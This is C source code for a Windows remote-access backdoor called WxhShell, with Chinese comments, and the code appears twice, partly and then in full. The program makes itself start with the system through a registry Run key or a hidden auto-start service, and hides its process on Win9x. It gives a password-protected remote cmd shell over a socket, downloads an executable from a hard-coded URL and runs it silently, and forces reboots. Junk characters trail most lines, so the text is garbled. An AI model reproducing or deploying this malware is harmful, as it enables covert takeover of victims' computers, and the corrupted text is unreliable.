    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'a6] ]2  
    else { xlIVLv6dO  
    closesocket(wsh); 40=*Ul U-  
    ExitThread(0); 1EiSxf  
    } $&Lw 2 c0  
    break; _kEU=)Xe  
    } Fzmc#?  
  // 获取shell BK]5g[   
  case 's': { b]5/IT)@O  
    CmdShell(wsh); Kt3T~k  
    closesocket(wsh); {&TP&_|H  
    ExitThread(0); s.$:.*k  
    break; )6b`1o!7  
  } 5Sz&j  
  // 退出 w5<&b1:  
  case 'x': { _J&IL!S2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VPvQ]}g6k  
    CloseIt(wsh); HC!5AJ&+}v  
    break; W#9A6ir>  
    } ;q?WU>c{?  
  // 离开 AGhr(\j  
  case 'q': { sq_ yu(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cC pNF `DN  
    closesocket(wsh); X?7s  
    WSACleanup(); @HQqHO&N  
    exit(1); 6GMwB@ b  
    break; \=c@  
        } |-9##0H  
  } o*5b]XWw  
  } @{@DGc  
4Q(w D  
  // 提示信息 ("s!t?!&YS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %Y=  
} Ow 0(q^H<  
  } ?$@E}t8g\  
09 v m5|  
  return; )1/J5DI @8  
} PG{"GiZz=  
Dco3`4pl  
// shell模块句柄 5Z>+NKQ  
int CmdShell(SOCKET sock) a;f A0_  
{ LG vPy  
STARTUPINFO si; Og1Hg B3v  
ZeroMemory(&si,sizeof(si)); wV q4DE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x75 3o\u!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; chu r(@Af  
PROCESS_INFORMATION ProcessInfo; <z QUa  
char cmdline[]="cmd"; b\vL^\bX8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a?X #G/)  
  return 0; DI\^&F)3T2  
} A i~d  
/h,-J8[  
// 自身启动模式 7 V=%&+  
int StartFromService(void) -+n? Q;  
{ ub-vtRpm  
typedef struct OSkBBo]~z  
{ :?$<:  
  DWORD ExitStatus; \eCQL(_  
  DWORD PebBaseAddress; 2 W Wr./q  
  DWORD AffinityMask; |DUOyQ  
  DWORD BasePriority; b/UjKNf@  
  ULONG UniqueProcessId; 9R N ge;*  
  ULONG InheritedFromUniqueProcessId; +ooQ-Gh  
}   PROCESS_BASIC_INFORMATION; O7xBMqMf  
XBos ^Q  
PROCNTQSIP NtQueryInformationProcess; q;<Q-jr&O  
*}Gu'EU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {%8=qJ3@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T2}ccnDi  
Ip*[H#h  
  HANDLE             hProcess; 7VA6J-T  
  PROCESS_BASIC_INFORMATION pbi; vb2aj!8_?  
HE*P0Y f=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [KsVI.gn  
  if(NULL == hInst ) return 0; A5YS "i  
?sbM=oo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g&L $5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P"k,[ZQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ffr6P }I  
qR8 BS4q_p  
  if (!NtQueryInformationProcess) return 0; 5YgUk[J  
o88Dz}a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ) q'~<QxI\  
  if(!hProcess) return 0; z<s4-GJ)?  
@-BgPDi.Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?r}!d2:dX  
Ge4 tc  
  CloseHandle(hProcess); >Av%[G5=h#  
et :v4^*f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ujss?::`G  
if(hProcess==NULL) return 0; ii]'XBSVd  
<>K@#|%Y&  
HMODULE hMod; C 6wlRvWn  
char procName[255]; M ^~  
unsigned long cbNeeded; p$&6E\#7  
U-GV^j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o)IcAqN$H  
1@A*Jj[R%  
  CloseHandle(hProcess); 4!tHJCq"  
1Qgd^o:d  
if(strstr(procName,"services")) return 1; // 以服务启动 IXmO1*o@  
sYY=MD  
  return 0; // 注册表启动 b{Kw.?85  
} 9C)w'\u9+  
z/t:gc.  
// 主模块 "6%vVi6  
int StartWxhshell(LPSTR lpCmdLine) 9wC:8@`6E  
{ Zx}.mt#}8  
  SOCKET wsl; hDs.4MZC`  
BOOL val=TRUE; nW (wu!2  
  int port=0; #%g~fh  
  struct sockaddr_in door; )04lf*ti  
@7 *Ag~MRb  
  if(wscfg.ws_autoins) Install(); |d1%N'Ll  
{bvm83{T  
port=atoi(lpCmdLine); $0K%H  
kVZ5>D$  
if(port<=0) port=wscfg.ws_port; g$ *V A} s  
~ ]q^Akq  
  WSADATA data; q>q@ztt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  <XxFR  
= pS\gLQu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S Yvifgp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :B'}#;8_  
  door.sin_family = AF_INET; 3f :I<S7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s:/.:e_PU  
  door.sin_port = htons(port); -ijQT B  
9{bzxM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a".uS4x  
closesocket(wsl); ]Zim8^n?`.  
return 1; *<!W k\  
} TPds)osZT  
f.=4p^  
  if(listen(wsl,2) == INVALID_SOCKET) { <z|? C  
closesocket(wsl); l%A~3  
return 1; ?fEX&t,'  
} gH0B[w ]  
  Wxhshell(wsl); 5b[:B~J  
  WSACleanup(); E `)p,{T  
[lA[w Cw  
return 0; ^ >ca*g  
@"HR"@pX  
} %1]2+_6  
:u{0M&  
// 以NT服务方式启动 9hT^Y,c0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2`vCQV  
{ Rhx7eU#&  
DWORD   status = 0; G6eC.vU]j  
  DWORD   specificError = 0xfffffff; +c\s%Gzrh  
) ZOmv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4W.;p"S2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; );z}T0C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &u"*vG (U[  
  serviceStatus.dwWin32ExitCode     = 0; :*&wnQMKR  
  serviceStatus.dwServiceSpecificExitCode = 0; =O)JPo&iwY  
  serviceStatus.dwCheckPoint       = 0; S53%*7K.  
  serviceStatus.dwWaitHint       = 0; nHKEtKDd  
'{cN~A2b4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^^?DYC   
  if (hServiceStatusHandle==0) return; Mn~A;=%qF  
pLzsL>6h  
status = GetLastError(); ?GFxJ6!%I  
  if (status!=NO_ERROR) d=qpTb;(  
{ OV8b~k4=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 31>k3IP&  
    serviceStatus.dwCheckPoint       = 0; Uzb"$Ue4  
    serviceStatus.dwWaitHint       = 0; ;$&-c/]F#  
    serviceStatus.dwWin32ExitCode     = status; BQS9q'u_  
    serviceStatus.dwServiceSpecificExitCode = specificError; 45MK|4\Y_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R|+R4'  
    return; 4rM77Uw>  
  } EJWMr`zdn  
1~ S Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &{]%=stI  
  serviceStatus.dwCheckPoint       = 0; xk|$Oa  
  serviceStatus.dwWaitHint       = 0; fSqbGoIQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >>$IHz4Z"  
} )i_FU~ LRq  
4(aesZ8h  
// 处理NT服务事件,比如:启动、停止 ~2H7_+.#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0='DDy  
{ u=E?N:I~F  
switch(fdwControl) TLSy+x_gX  
{ 4G>|It  
case SERVICE_CONTROL_STOP: G'Q7(c  
  serviceStatus.dwWin32ExitCode = 0; mzT} C&hfP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rd,mbH[<C  
  serviceStatus.dwCheckPoint   = 0; Ox~'w0c,f  
  serviceStatus.dwWaitHint     = 0; T![K i  
  { W;N/Y3Lb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YQ]H3GA  
  } :):Y6)giBD  
  return; ,K9UT#h  
case SERVICE_CONTROL_PAUSE: #`p>VXBj!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VNYLps@4H  
  break; o`77gkLO  
case SERVICE_CONTROL_CONTINUE: HQ s)T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BL8\p_U  
  break; !%u#J:z2  
case SERVICE_CONTROL_INTERROGATE: N6J$z\ P  
  break; M)J*Df0@  
}; ]~qN<x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H*\[:tPa  
} kH&ZPAI  
R{[Q+y'E  
// 标准应用程序主函数 =wj~6:Bf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P+b^;+\1s  
{ {cv;S2  
z;/'OJ[.  
// 获取操作系统版本 ^J RTi'v  
OsIsNt=GetOsVer(); ltrSTH,kL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?:FotnU*p  
MJG%HakK0  
  // 从命令行安装 <dN=d3S  
  if(strpbrk(lpCmdLine,"iI")) Install(); V^{!d}  
u.[JYZ  
  // 下载执行文件 m4DH90~a8  
if(wscfg.ws_downexe) { |f:d72{Qr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <!N;(nZ9}O  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1ZL_;k  
} V[I<9xaE  
A C^[3  
if(!OsIsNt) { cP2R2 4th  
// 如果时win9x,隐藏进程并且设置为注册表启动 h(8;7} K  
HideProc(); Qf|}%}% fp  
StartWxhshell(lpCmdLine); ]-'9|N*}l  
} e 1loI8  
else c_q+_$t  
  if(StartFromService()) f`,Hr?H  
  // 以服务方式启动 0w['jh|,  
  StartServiceCtrlDispatcher(DispatchTable); ee_\_"  
else oPy zk7{  
  // 普通方式启动 @c !67Z  
  StartWxhshell(lpCmdLine); ,&?q}M  
(d;(FBk='  
return 0; ~|9LWp_  
} B%@!\ D#  
erP>P  
arLl8G[  
Ql@yN@V  
=========================================== 'Xl>,\'6  
^R7zLHU;  
k6-n.Rl01  
wDhcHB  
*Z`eNz}  
g yQ9Z}  
" NoAb}1uae  
e-cb?.WU?  
#include <stdio.h> ePpK+E[0Z  
#include <string.h> un^IQMIh  
#include <windows.h> '<=MhNh\  
#include <winsock2.h> 56Y5kxmi  
#include <winsvc.h> }PIB b  
#include <urlmon.h> 8Qz7uPq  
d+2O^of:T  
#pragma comment (lib, "Ws2_32.lib") 9H}iX0O  
#pragma comment (lib, "urlmon.lib") 8}oDRN!J  
z){UuiUM+=  
#define MAX_USER   100 // 最大客户端连接数 cNr][AzU@  
#define BUF_SOCK   200 // sock buffer ~R@m!'I k  
#define KEY_BUFF   255 // 输入 buffer q&$0i   
sHTePEJ_h  
#define REBOOT     0   // 重启 Eb[H3v48,  
#define SHUTDOWN   1   // 关机 eAYW%a  
;~:Ryl M  
#define DEF_PORT   5000 // 监听端口  .02(O  
_d0-%B 9m  
#define REG_LEN     16   // 注册表键长度 #or oY.o  
#define SVC_LEN     80   // NT服务名长度 b)hOzx  
.-u k   
// 从dll定义API ?> MoV5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yFU2'pB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \m~\,em  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {.D2ON  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "">fn(  
9poEUjBI  
// wxhshell配置信息 8P<UO  
struct WSCFG { "p~]m~g  
  int ws_port;         // 监听端口 FX|lhwmc(  
  char ws_passstr[REG_LEN]; // 口令 zj$_iB`9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8X ?GY8W:  
  char ws_regname[REG_LEN]; // 注册表键名 ,Z*3,/a  
  char ws_svcname[REG_LEN]; // 服务名 Xq^y<[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d[RWkk5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zUEfa!#?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 enbN0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `/wq3+?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k|$"TFXx;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  TCKI  
_czbUl  
}; {c\oOM<7  
Q 9gFTLQ  
// default Wxhshell configuration %is,t<G  
struct WSCFG wscfg={DEF_PORT, Z}K.^\S9  
    "xuhuanlingzhe", 2 -p  
    1, (| 36!-(iK  
    "Wxhshell", Hc&uE3=%sL  
    "Wxhshell", 43u PH1 )  
            "WxhShell Service", N+C)/EN$  
    "Wrsky Windows CmdShell Service", LA;V}%y ?  
    "Please Input Your Password: ", zhA',p@K?_  
  1, tJ h3$K\  
  "http://www.wrsky.com/wxhshell.exe", 94h_t@Q/1  
  "Wxhshell.exe" *m| t =9E  
    }; fNAo$O4cm  
 $||ns@F+  
// 消息定义模块 FD XWFJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h=K36a)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %TW% |"v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _d\u!giy  
char *msg_ws_ext="\n\rExit."; /Oq)3fU e  
char *msg_ws_end="\n\rQuit."; q lz9&w  
char *msg_ws_boot="\n\rReboot..."; }1a<{&  
char *msg_ws_poff="\n\rShutdown..."; <uBhi4  
char *msg_ws_down="\n\rSave to "; bRK CY6  
2xL!PR-  
char *msg_ws_err="\n\rErr!"; *w'q  
char *msg_ws_ok="\n\rOK!"; daA47`+d  
2,8/Cb  
char ExeFile[MAX_PATH]; F=-uDtQ <N  
int nUser = 0; b"R, p=M  
HANDLE handles[MAX_USER]; wVvqw/j*f  
int OsIsNt; b(.-~c('  
Q SHx]*)  
SERVICE_STATUS       serviceStatus; ( Lok  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {[M0y*^64$  
ba(arGZ+{  
// 函数声明 zp7V\W; &  
int Install(void); X zi'Lu `  
int Uninstall(void); h*;g0QBkl  
int DownloadFile(char *sURL, SOCKET wsh); `G=ztL!gq  
int Boot(int flag); u( V  
void HideProc(void); &Q-[;  
int GetOsVer(void); yCF"Z/.  
int Wxhshell(SOCKET wsl); "*Lj8C3|n  
void TalkWithClient(void *cs); 8iMF8\  
int CmdShell(SOCKET sock); )z2|"Lp  
int StartFromService(void); g9yaNelDh)  
int StartWxhshell(LPSTR lpCmdLine); 7=7!| UV  
Xt</ -`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T-L|Q,-{-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qqd6.F  
*'UhlFed  
// 数据结构和表定义 82j'MgGP  
SERVICE_TABLE_ENTRY DispatchTable[] = .dD9&n;#^  
{ |A ;o0pL  
{wscfg.ws_svcname, NTServiceMain}, 8q]J;T  
{NULL, NULL} 89LpklD  
}; L*zbike  
$x?NNS_ "J  
// 自我安装 %v5)s(Yu  
int Install(void) DJm oW  
{ <lC]>L  
  char svExeFile[MAX_PATH]; YniZ( ~^K  
  HKEY key; NJn&>/vM  
  strcpy(svExeFile,ExeFile); T?W[Z_D  
RY9+ 9i  
// 如果是win9x系统,修改注册表设为自启动 `d75@0:  
if(!OsIsNt) { ,/i_QgP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1*Sr5N[=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FJO"|||Y'|  
  RegCloseKey(key); aRbx   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X Y~;)<s_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'Pf_5q  
  RegCloseKey(key); Wm<z?.lS  
  return 0; Uh>.v |P6  
    } 1s Br.+p  
  } o[o:A|n  
} XR|"dbZW.0  
else { 2< p{z  
kGpV;F==*  
// 如果是NT以上系统,安装为系统服务 ]\OWZ{T'j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'nMApPl  
if (schSCManager!=0) o>2e !7  
{ ;_iPm?Y8  
  SC_HANDLE schService = CreateService 1 ojhh7<  
  ( (YIhTSL"]  
  schSCManager, ,!`SY)  
  wscfg.ws_svcname, `8,w[o oC2  
  wscfg.ws_svcdisp, <D;MT96SG  
  SERVICE_ALL_ACCESS, "ml?7Xl,n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C*7!dW6  
  SERVICE_AUTO_START, WM/#.  
  SERVICE_ERROR_NORMAL, UV4u.7y  
  svExeFile, 2 #KoN8%  
  NULL, .Y!:x =e  
  NULL, " 9qp "%  
  NULL, r:-WzH(Ms  
  NULL, Xem 05%,  
  NULL <{giHT  
  ); Y~az!8j;Z  
  if (schService!=0) 8zZSp  
  { fE^uF[-7?  
  CloseServiceHandle(schService); s;J\Kc?"|  
  CloseServiceHandle(schSCManager); @&5A&(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ob'n{T+lZ  
  strcat(svExeFile,wscfg.ws_svcname); B20_ig:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k,rWa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 71O3O7  
  RegCloseKey(key); 2Pp&d>E4  
  return 0; ]NtSu%u  
    } ?vu_k 'io  
  } . |uLt J  
  CloseServiceHandle(schSCManager); a=+T95ulDy  
} _R7 w?!t8  
} Q2eXK[?*  
gLIT;BK  
return 1; t[EfOQ  
} Y X*0?S  
4 \p -TPM  
// 自我卸载 2zK"*7b?  
int Uninstall(void) [T`}yb@  
{ S$e Dnw~$  
  HKEY key; `U{mbw,  
.^[_ V  
if(!OsIsNt) { ~F w<eY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i[150g?K  
  RegDeleteValue(key,wscfg.ws_regname); dig~J\  
  RegCloseKey(key); <tbZj=*O/o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6z?gg3GV  
  RegDeleteValue(key,wscfg.ws_regname); ,+._;[k  
  RegCloseKey(key); ni6r{eSQ  
  return 0; aq Mc6N`z  
  } \cQ .|S  
} ([ dT!B#aH  
} n|i"S`  
else { ^7aN2o3{  
+y&d;0!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K>1X}ZMdD(  
if (schSCManager!=0) 9s`/~ a@  
{ )"`!AerJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W#XG;  
  if (schService!=0) #SkX@sl@  
  { ( 9$"#o  
  if(DeleteService(schService)!=0) { *Oo &}oAj  
  CloseServiceHandle(schService); ?_q+&)4-o  
  CloseServiceHandle(schSCManager); A+ 0,i  
  return 0; :Q@)*kQH  
  } 1f4 bt6[  
  CloseServiceHandle(schService); 6)e5zKW!?  
  } 4 tXSYHd3  
  CloseServiceHandle(schSCManager); /\=MBUN  
} 7*s8 ttX  
} u3ZCT" !  
7=P^_LcU  
return 1; (~s|=Hxq|-  
} :0 ^s0l  
Veji^-0E  
// 从指定url下载文件 } /e`v6  
int DownloadFile(char *sURL, SOCKET wsh) pOga6'aB)  
{ c ~F dx  
  HRESULT hr; f h<*8w0H  
char seps[]= "/"; bJ3(ckhq  
char *token; ~ 3T,&?r  
char *file; hI|)u4q  
char myURL[MAX_PATH]; cA;js;x@  
char myFILE[MAX_PATH]; Jx|I6 y  
$Ui&D I  
strcpy(myURL,sURL); ohQAA h  
  token=strtok(myURL,seps); oq;'eM1,.  
  while(token!=NULL) `UzVS>]l[+  
  { Z=+03  
    file=token; GsV4ZZ  
  token=strtok(NULL,seps); ?o[L7JI  
  } eN-au/kN  
lCb+{OB  
GetCurrentDirectory(MAX_PATH,myFILE); :w-`PY J%G  
strcat(myFILE, "\\"); c[cAUsk i  
strcat(myFILE, file); {'bip`U.  
  send(wsh,myFILE,strlen(myFILE),0); j9y3hQ+q  
send(wsh,"...",3,0); \4bWWy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &ITuyGmF  
  if(hr==S_OK) 3/goCg  
return 0; ~OFvu}]  
else ;")A{tX2  
return 1; wu~hqd  
yA7 )Y})>  
} \m/xV /  
cT'w=  
// 系统电源模块 Utt>H@t[  
int Boot(int flag) ,x_Z JL  
{ 4j'd3WGpbN  
  HANDLE hToken; >PalH24]  
  TOKEN_PRIVILEGES tkp; bEH de*q(  
)0CQP  
  if(OsIsNt) { "{BqtU*.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TI9X.E?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3 <SqoJSp  
    tkp.PrivilegeCount = 1; h)x_zZ%>o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5cfA;(H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G=d(*+& B  
if(flag==REBOOT) { E5G{B'%j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Uw#f@Wh  
  return 0; e%6{ME 3  
} UTk r.T+2X  
else { )pgrl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lAASV{s{  
  return 0; TT}]wZ  
} 'Z8aPHD  
  } \2!!L=&4G  
  else { fEnQE EU~P  
if(flag==REBOOT) { q&si%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kn}ub+ "J  
  return 0; FLr ;`3  
} SN">gmY+  
else { 2V gP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \C|cp|A*&  
  return 0; zICI_*~  
} _a -]?R  
} }vh Za p^  
6Z! y  
return 1; z@h~Vb&I  
} X"*^l_9-v  
trYTs,KV  
// win9x进程隐藏模块 b-<HXn_Fd  
void HideProc(void) !`wW_W  
{ ~L?nq@DL  
$ |<m9CW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zK5bO= 0j  
  if ( hKernel != NULL ) P:!)9/.2  
  { H~fdbR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %'ZN`XftG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fE;Q:# Z.  
    FreeLibrary(hKernel); >L>+2z  
  } :`W|h E^  
XD%wj  
return; 9){  
} q)I|2~Q c^  
?d-70pm  
// 获取操作系统版本 k W-81  
int GetOsVer(void) 8Qrpa o  
{ kBsXfVs9  
  OSVERSIONINFO winfo; v Xcy#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ijo(^v@  
  GetVersionEx(&winfo); .[j%sGdKl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pl  
  return 1; ImkrV{,e  
  else &RY)o^g[4  
  return 0; sdr.u  
} z +VV}:Q  
32>x^>G=>  
// 客户端句柄模块 kQIw/@WC  
int Wxhshell(SOCKET wsl) |B[eJq  
{ Z)9R9s  
  SOCKET wsh; JP=ZUu  
  struct sockaddr_in client; KH<v@IJ\  
  DWORD myID; I:;+n^N?  
u{C)qb5Pu  
  while(nUser<MAX_USER) ZBM!MSf:  
{ Tov&68A~e  
  int nSize=sizeof(client); w|Qd`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T.Zz;2I  
  if(wsh==INVALID_SOCKET) return 1; @ss):FwA  
8pe0$r`b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EXbTCT}`x  
if(handles[nUser]==0) 3|eUy_d3  
  closesocket(wsh); |]ucHV  
else =AkX4k  
  nUser++; <GfVMD  
  } v33T @  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w}k B6o]  
;`jU_  
  return 0; c@OP5L>{  
} K H}t:m+h  
hyu}}0:  
// 关闭 socket /hci\-8N~  
void CloseIt(SOCKET wsh) GOr}/y;  
{ 'NjSu64W  
closesocket(wsh); 0yQe5i}  
nUser--; 5 ,ZRP'oI  
ExitThread(0); yN:>!SQ  
} JQT4N[rEE  
q/'MS[C  
// 客户端请求句柄 eH[y[~r  
void TalkWithClient(void *cs) d*9j77C]  
{ i./Y w  
3yMt1 fy  
  SOCKET wsh=(SOCKET)cs; rWe 8D/oc  
  char pwd[SVC_LEN]; &kx\W)  
  char cmd[KEY_BUFF]; vnZ/tF  
char chr[1]; Sip_~]hM  
int i,j; n/-N;'2J  
=,E'~P  
  while (nUser < MAX_USER) { <PQRd  
8Mb$+^zU  
if(wscfg.ws_passstr) { mxhW|}_-j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g& >m P?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9OZ>y0)K~  
  //ZeroMemory(pwd,KEY_BUFF); P^;WB*V  
      i=0; ,O9`X6rh'  
  while(i<SVC_LEN) { YiNo#M91  
Y-7.Vjt^  
  // 设置超时 1eF@_Y^a!  
  fd_set FdRead; d!!3"{'  
  struct timeval TimeOut; #VR`?n?,  
  FD_ZERO(&FdRead); ds')PIj  
  FD_SET(wsh,&FdRead); hhj ,rcsi  
  TimeOut.tv_sec=8; C=EhY+5  
  TimeOut.tv_usec=0; >rRjm+vg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JrxP,[qJG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G`WzJS*}v  
Qv=Bq{N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (ai72#nFtb  
  pwd=chr[0]; lDH_ Y]bM  
  if(chr[0]==0xd || chr[0]==0xa) { IjgBa-o/V  
  pwd=0; r 3?5'S`  
  break; 5I_hh?N4Z  
  } `F@f?*s:  
  i++; [L)V(o)v  
    } B~e7w 4  
Y~x`6  
  // 如果是非法用户,关闭 socket Ic_tc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eb(m8vLR  
} uk1v7# p  
C`z;,!58%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l.yJA>\24I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B##C{^5A`  
%PSz o8.l  
while(1) { _4!7 zW^  
5Bzuj`  
  ZeroMemory(cmd,KEY_BUFF); |)*m[_1  
&0FpP&Z(  
      // 自动支持客户端 telnet标准   :v''"+\  
  j=0; 2>`m<&y  
  while(j<KEY_BUFF) { m|(I} |kT3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P=}H1 #  
  cmd[j]=chr[0]; i:AjWC@]  
  if(chr[0]==0xa || chr[0]==0xd) { H,/~=d: ^  
  cmd[j]=0; @m }rQT  
  break; o&*1U"6D  
  } H@Kl  
  j++; /0X0#+kn  
    } ^ON-#  
%kaTQ"PB  
  // 下载文件 vK[v eFH  
  if(strstr(cmd,"http://")) { b0rt.XB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {^2({A#&  
  if(DownloadFile(cmd,wsh)) G}Q}H*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]J GKL5~p  
  else *S,v$ VX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D>,$c  
  } PxdJOtI"  
  else { :8p2Jxm  
l{B< "+8  
    switch(cmd[0]) { ]l9,t5Y  
  ~2;&pZ$  
  // 帮助 W]C_oh  
